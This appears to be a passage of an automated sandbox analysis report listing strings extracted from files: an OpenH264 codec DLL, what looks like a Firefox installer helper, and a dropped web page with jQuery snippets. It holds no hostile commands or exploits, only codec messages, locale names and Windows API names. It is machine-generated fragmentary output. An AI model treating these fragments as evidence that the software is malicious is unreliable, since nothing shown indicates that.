Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPicBuf

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPicBuf->queue

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PPicBuff

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPicOldBuf

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPicOldBuf->queue

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PPicture

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PPicture*

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ppMbListD

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ppMbListD[0]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pPPSArray

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ppRefPicListExt

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ppRefPicListExt[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

PPS id is invalid!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pr china

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pr-china

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pRef is int32_t !iLastRecoverFrameNum = %d, pRef iFrameNum = %d,LTR number = %d,

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pRefIndexBlock4x4

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pRefList

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Problematic Input Base Param: iUsageType=%d, Resolution=%dx%d, FR=%f, TLayerNum=%d, DLayerNum=%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSadCostMb

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pScreenBlockFeatureStorage

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pScreenBlockFeatureStorage->pFeatureValuePointerList

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pScreenBlockFeatureStorage->pLocationOfFeature

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pScreenBlockFeatureStorage->pLocationPointer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pScreenBlockFeatureStorage->pTimesOfFeatureValue

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceB->pBsBuffer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceBs

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceComplexRatio[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceConsumeTime[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceCtxList

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceInLayer

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceSeg->pCountMbNumInSlice

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceSeg->pFirstMbInSlice

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceSeg->pOverallMbMap

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSpsArray

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSubsetArray

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pThreadPEncCtx

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pTmpRow

Ansi based on Dropped File (gmpopenh264.dll.97104820)

puerto-rico

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->pVaaBackgroundMbFlag

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->pVaaBlockStaticIdc[0]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sAdaptiveQuantParam.pMotionTextureIndexToDeltaQp

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sAdaptiveQuantParam.pMotionTextureUnit

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.pMad8x8

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.pSsd16x16

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.pSum16x16

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.pSumOfDiff8x8

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.pSumOfSquare16x16

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.sad8x8

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pWelsSvcRc

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pWelsSvcRc->pTemporalOverRc

Ansi based on Dropped File (gmpopenh264.dll.97104820)

QP %d out of range

Ansi based on Dropped File (gmpopenh264.dll.97104820)

QueryPerformanceFrequency

Ansi based on Dropped File (gmpopenh264.dll.97104820)

raB3G

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RaiseException

Ansi based on Dropped File (gmpopenh264.dll.97104820)

rc%d%s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Read-only file system

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Receive LTR marking feedback, feedback_type = %d , uiIdrPicId = %d , LTR_frame_num = %d , cur_idr_pic_id = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Receive LTR recovery pRequest,feedback_type = %d ,uiIdrPicId = %d , current_frame_num = %d , last correct frame num = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Receive valid LTR marking feedback, feedback_type = %d , uiIdrPicId = %d , LTR_frame_num = %d , cur_idr_pic_id = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Receive valid LTR recovery pRequest,feedback_type = %d ,uiIdrPicId = %d , current_frame_num = %d , last correct frame num = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

reference overflow

Ansi based on Dropped File (gmpopenh264.dll.97104820)

reference picture introduced by this frame is lost during transmission! uiTId: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

referencing pictures lost due frame gaps exist, prev_frame_num: %d, curr_frame_num: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RemainOneBufferInDpbForEC(): empty one DPB failed for EC!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc() failed due to invalid iNumDependencyLayers(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc() failed due to invalid uiIntraPeriod(%d) (=multipler of uiGopSize(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), AcquireLayersNals failed(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), AllocStrideTables failed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), InitDqLayers failed(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), InitMbListD failed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), RequestMemoryVaaScreen failed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), RequestMtResource failed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

residual_pred_flag = 1 not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Resource deadlock avoided

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Resource device

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Resource temporarily unavailable

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Result too large

Ansi based on Dropped File (gmpopenh264.dll.97104820)

returned error from decoding:[0x%x]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ror

Unicode based on Dropped File (gmpopenh264.dll.97104820)

runtime error

Unicode based on Dropped File (gmpopenh264.dll.97104820)

Runtime Error!Program:

Unicode based on Dropped File (gmpopenh264.dll.97104820)

Saturday

Ansi based on Dropped File (gmpopenh264.dll.97104820)

sc%d%s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SCC iSkipFrameNum = %d,buffer = %d,threadhold = %d,bitrate = %d,timestamp=%lld

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SceneChangeDetect() iAvailableRefNum=0 but not I.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

scm%s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SDecodingParam

Ansi based on Dropped File (gmpopenh264.dll.97104820)

September

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Set-SliceConstraint(%d) too small for current resolution (MB# %d) under QP/BR!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SetHandleCount

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SetMeMethod(BLOCK_16x16) ME_DIA_CROSS unsuccessful, switched to default search

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SetMeMethod(BLOCK_8x8) ME_DIA_CROSS_FME unsuccessful, switched to default search

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SetStdHandle

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Setting MaxSpatialBitrate (%d) the same at SpatialBitrate (%d) will make the actual bit rate lower than SpatialBitrate

Ansi based on Dropped File (gmpopenh264.dll.97104820)

size=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Slice

Ansi based on Dropped File (gmpopenh264.dll.97104820)

slice type too large (%d) at first_mb(%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SlicingOverRC

Ansi based on Dropped File (gmpopenh264.dll.97104820)

slovak

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SLTRState

Ansi based on Dropped File (gmpopenh264.dll.97104820)

south africa

Ansi based on Dropped File (gmpopenh264.dll.97104820)

south korea

Ansi based on Dropped File (gmpopenh264.dll.97104820)

south-africa

Ansi based on Dropped File (gmpopenh264.dll.97104820)

south-korea

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SP/SI not supported

Ansi based on Dropped File (gmpopenh264.dll.97104820)

space for _onexit/atexit table

Unicode based on Dropped File (gmpopenh264.dll.97104820)

space for thread data

Unicode based on Dropped File (gmpopenh264.dll.97104820)

spanish-argentina

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-bolivia

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-chile

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-colombia

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-costa rica

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-dominican republic

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-ecuador

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-el salvador

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-guatemala

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-honduras

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-mexican

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-modern

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-nicaragua

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-panama

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-paraguay

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-peru

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-puerto rico

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-uruguay

Ansi based on Dropped File (gmpopenh264.dll.97104820)

spanish-venezuela

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SPS id is invalid!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SSliceThreading

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SStrideTables

Ansi based on Dropped File (gmpopenh264.dll.97104820)

string too long

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Sunday

Unicode based on Dropped File (gmpopenh264.dll.97104820)

Support I420 output only for now! Change to I420...

Ansi based on Dropped File (gmpopenh264.dll.97104820)

swedish-finland

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SWelsEncoderOutput

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SWelsFuncPtrList

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SWelsSvcCodingParam

Ansi based on Dropped File (gmpopenh264.dll.97104820)

swiss

Ansi based on Dropped File (gmpopenh264.dll.97104820)

sync picture resolution ext failed, the error is %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SyncPictureResolutionExt()::InitialDqLayersContext--buffer allocated failure.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SyncPictureResolutionExt()::WelsRequestMem--buffer allocated failure.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

system

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Temp buffer for parse only usage.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

the pic_height_in_mbs exceeds the level limits!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

the pic_width_in_mbs exceeds the level limits!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

the total count of mb exceeds the level limits!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Thursday

Unicode based on Dropped File (gmpopenh264.dll.97104820)

timestamp=

Ansi based on Dropped File (gmpopenh264.dll.97104820)

TlsAlloc

Ansi based on Dropped File (gmpopenh264.dll.97104820)

TlsFree

Ansi based on Dropped File (gmpopenh264.dll.97104820)

TlsGetValue

Ansi based on Dropped File (gmpopenh264.dll.97104820)

TlsSetValue

Ansi based on Dropped File (gmpopenh264.dll.97104820)

tm%d%s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Too many links

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Too many open files

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Too many open files in system

Ansi based on Dropped File (gmpopenh264.dll.97104820)

trinidad & tobago

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Tuesday

Ansi based on Dropped File (gmpopenh264.dll.97104820)

turday

Unicode based on Dropped File (gmpopenh264.dll.97104820)

ud%d%s

Ansi based on Dropped File (gmpopenh264.dll.97104820)

uiScanIdxStart (%d) != 0 and uiScanIdxEnd (%d) !=15 not supported here

Ansi based on Dropped File (gmpopenh264.dll.97104820)

unexpected return(%d) from EncodeFrameInternal()!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

UNICODE

Ansi based on Dropped File (gmpopenh264.dll.97104820)

united-kingdom

Ansi based on Dropped File (gmpopenh264.dll.97104820)

united-states

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Unknown error

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Unknown exception

Ansi based on Dropped File (gmpopenh264.dll.97104820)

UpdateAccessUnit():::::Key frame lost.....CAN NOT find IDR from current AU.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

USER32.DLL

Unicode based on Dropped File (gmpopenh264.dll.97104820)

UTF-16LE

Ansi based on Dropped File (gmpopenh264.dll.97104820)

UTF-8

Ansi based on Dropped File (gmpopenh264.dll.97104820)

vector<T> too long

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Video frame ready for display

Ansi based on Dropped File (gmpopenh264.dll.97104820)

virtual function call

Unicode based on Dropped File (gmpopenh264.dll.97104820)

Visual C++ CRT: Not enough memory to complete call to strerror.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WaitForMultipleObjects

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Wednesday

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelRcPictureInitScc iLumaQp = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefList pCtx->uiTemporalId = %d,pRef->iFrameNum = %d,pRef->uiTemporalId = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefListScreen pCtx->uiTemporalId = %d,pRef->iFrameNum = %d,pRef->uiTemporalId = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefListScreen()RefLot[%d]: iPoc=%d, iPictureType=%d, bUsedAsRef=%d, bIsLongRef=%d, bIsSceneLTR=%d, uiTemporalId=%d, iFrameNum=%d, iMarkFrameNum=%d, iLongTermPicNum=%d, uiRecieveConfirmed=%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefListScreen()RefLot[%d]: NULL

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefListScreen(), CurrentFramePoc=%d, isLTR=%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefListScreen(), ref !current iFrameNum = %d, ref iFrameNum = %d,LTR number = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefListScreen(), ref !current iFrameNum = %d, ref iFrameNum = %d,LTR number = %d,iNumRef = %d ref is Scene LTR = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsCreateDecoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsCreateSVCEncoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsDecodeMbCavlcISlice()::::pBs incomplete, iUsedBits:%I64d > pBs->iBits:%d, MUST stop decoding.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsDecodeSlice()::::ILP flag exist, not supported with CABAC enabled!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsDestroyDecoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsDestroySVCEncoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderApplyBitVaryRang:UpdateMaxBitrate layerId= %d,iMaxSpatialBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt() OutputInfo iLayerId = %d,iNalType = %d,iNalCount = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt() OutputInfo iLayerNum = %d,iSubSeqId = %d,iFrameSize = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), iLayerNum(%d) overflow(max:%d) at iDid= %d uiSliceMode= %d, iSliceCount= %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), iLayerNum(%d) overflow(max:%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), iSliceCount(%d) from GetCurrentSliceNum() is untrusted due stack/heap crupted!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), Logic Error Found in temporal level. ForceCodingIDR!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), WelsBuildRefList failed for P frames, pCtx->iNumRef0= %d. ForceCodingIDR!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), WelsUpdateRefList failed. ForceCodingIDR!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt()MinCr Checking,codec bitstream size is larger than Level limitation

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderParamAdjust(), GetMultipleThreadIdc failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsGetCodecVersion

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt() exit, overall memory usage: %llu bytes

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), CreateSliceThreads failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), DetermineTemporalSettings failed return %d (check in/out frame rate and temporal layer setting!)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), GetMultipleThreadIdc failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), NULL == ppCtx(0x%p) or NULL == pCodingParam(0x%p).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), ParamValidationExt failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), pCtx= 0x%p.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), pOut of memory in case new CWelsPreProcess().

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), pVPP alloc spatial pictures failed

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), RequestMemorySvc failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitRefList()::PrefetchPic for EC errors.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsReorderRefList()::::BASE LAYER::::iSpsId:%d, ref_sps_id:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsRequestMem(): memory alloc size = %d * %d, ref list size = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsRequestMem(): memory re-alloc for no resolution change (size = %d * %d), ref list size change from %d to %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsRequestMem(): memory re-alloc for resolution change, size change from %d * %d to %d * %d, ref list size change from %d to %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsTargetMbConstruction():::::Unknown MB type: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsTargetSliceConstruction():::MB(%d, %d) construction error. pCurSlice_type:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsTargetSliceConstruction():::pCtx->iTotalNumMbRec:%d, iTotalMbTargetLayer:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsUninitEncoderExt(), pCtx= %p, iThreadCount= %d, iMultipleThreadIdc= %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsUninitEncoderExt(), pthread_join(pThreadHandles%d) return %d..

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsUpdateRefSyntax():::uiAbsDiffPicNumMinus1:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsUpdateRefSyntax():::uiAbsDiffPicNumMinus1< 0, update as:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WriteConsoleW

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Y@AcquireLayersNals(), iCountNumLayers(%d) > MAX_LAYER_NUM_OF_FRAME(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Z)$%*

Ansi based on Dropped File (gmpopenh264.dll.97104820)

/SetAsDefaultAppUser

Ansi based on Process Commandline (helper.exe)

Helper

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

"%PROGRAMFILES%\Mozilla Firefox\firefox.exe" -osint -url "%1"

Unicode based on Runtime Data (helper.exe )

%s=%s

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

308046B0AF4A39CB

Unicode based on Runtime Data (helper.exe )

<.lnk

Unicode based on Runtime Data (helper.exe )

@"%windir%\System32\ie4uinit.exe",-732

Unicode based on Runtime Data (helper.exe )

a Trademark of The Mozilla Foundation.

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

AppAssocReg.dll

Unicode based on Runtime Data (helper.exe )

%PROGRAMFILES%\Mozilla Firefox

Unicode based on Runtime Data (helper.exe )

%PROGRAMFILES%\Mozilla Firefox\firefox.exe,1

Unicode based on Runtime Data (helper.exe )

CharUpperW

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00408000.00000002.mdmp)

CityHash.dll

Unicode based on Runtime Data (helper.exe )

CreateToolhelp32Snapshot

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

EditFlags

Unicode based on Runtime Data (helper.exe )

eNameW

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00408000.00000002.mdmp)

EnumProcesses

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

EnumProcessModules

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

Firefox

Unicode based on Runtime Data (helper.exe )

Firefox HTML Document

Unicode based on Runtime Data (helper.exe )

Firefox URL

Unicode based on Runtime Data (helper.exe )

firefox.exe

Unicode based on Runtime Data (helper.exe )

FIREFOX.EXE

Unicode based on Runtime Data (helper.exe )

firefox.exe.moz-upgrade

Unicode based on Runtime Data (helper.exe )

FirefoxHTML

Unicode based on Runtime Data (helper.exe )

FirefoxURL

Unicode based on Runtime Data (helper.exe )

FriendlyTypeName

Unicode based on Runtime Data (helper.exe )

galTrademarks

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

GetModuleBaseNameW

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

GlobalAssocChangedCounter

Unicode based on Runtime Data (helper.exe )

gopher

Unicode based on Runtime Data (helper.exe )

iexplore.exe

Unicode based on Runtime Data (helper.exe )

Internet Explorer.lnk

Unicode based on Runtime Data (helper.exe )

Kernel32.DLL

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

LanguageList

Unicode based on Runtime Data (helper.exe )

leVersion

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

Local

Unicode based on Runtime Data (helper.exe )

lstrcpynA

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00408000.00000002.mdmp)

Module32FirstW

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

Module32NextW

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

Mozilla Firefox

Unicode based on Runtime Data (helper.exe )

Mozilla Firefox.lnk

Unicode based on Runtime Data (helper.exe )

nnwww

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

nsrDEA2.tmp

Unicode based on Runtime Data (helper.exe )

oductName

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

OpenProcess

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00408000.00000002.mdmp)

orporation

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

Process32FirstW

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

Process32NextW

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

Progid

Unicode based on Runtime Data (helper.exe )

Program Files

Unicode based on Runtime Data (helper.exe )

ProgramFilesDir

Unicode based on Runtime Data (helper.exe )

PSAPI.DLL

Ansi based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

ration

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

rFileInfo

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

RichEdit20A

Unicode based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

scription

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

ShellLink.dll

Unicode based on Runtime Data (helper.exe )

slation

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

StringCacheGeneration

Unicode based on Runtime Data (helper.exe )

System.dll

Unicode based on Runtime Data (helper.exe )

System.NamespaceCLSID

Unicode based on Runtime Data (helper.exe )

TaskBar

Unicode based on Runtime Data (helper.exe )

tegrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00408000.00000002.mdmp)

tFolderPathW

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00408000.00000002.mdmp)

tobedeleted

Unicode based on Runtime Data (helper.exe )

Unknown

Unicode based on Hybrid Analysis (helper.exe , 00037821-00000600.00000000.38323.00401000.00000020.mdmp)

UPw9LUa

Unicode based on Runtime Data (helper.exe )

URL Protocol

Unicode based on Runtime Data (helper.exe )

UseFilter

Unicode based on Runtime Data (helper.exe )

Users

Unicode based on Runtime Data (helper.exe )

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

vp)$k

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00408000.00000002.mdmp)

wwwwww

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

wwwwz

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

{28636AA6-953D-11D2-B5D6-00C04FD918D0} 6

Unicode based on Runtime Data (helper.exe )

Ansi based on Dropped File (home-&-garden)

$( "button#filter_submit" ).click();

Ansi based on Dropped File (home-&-garden)

$( "button#filter_submit" ).on('click', function(item) {

Ansi based on Dropped File (home-&-garden)

$( data ).appendTo( "#domain_list_body" );

Ansi based on Dropped File (home-&-garden)

$( document ).ready(function() {

Ansi based on Dropped File (home-&-garden)

$("#domain_list_body").empty();

Ansi based on Dropped File (home-&-garden)

$('button#filter_submit').click();

Ansi based on Dropped File (home-&-garden)

$.get( 'http://www.nameboat.com/ajax/market_themes/domain_overview_tiles/filters/'+form_values_for_url+'/user_id/1293/offset/init/keyword//', function( data ) {

Ansi based on Dropped File (home-&-garden)

'max': 16},

Ansi based on Dropped File (home-&-garden)

'max': 1888.00},

Ansi based on Dropped File (home-&-garden)

'max': 21},

Ansi based on Dropped File (home-&-garden)

'min': 0.00,

Ansi based on Dropped File (home-&-garden)

'min': 1,

Ansi based on Dropped File (home-&-garden)

'min': 4,

Ansi based on Dropped File (home-&-garden)

(267) 231-6540</li>

Ansi based on Dropped File (home-&-garden)

(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){

Ansi based on Dropped File (home-&-garden)

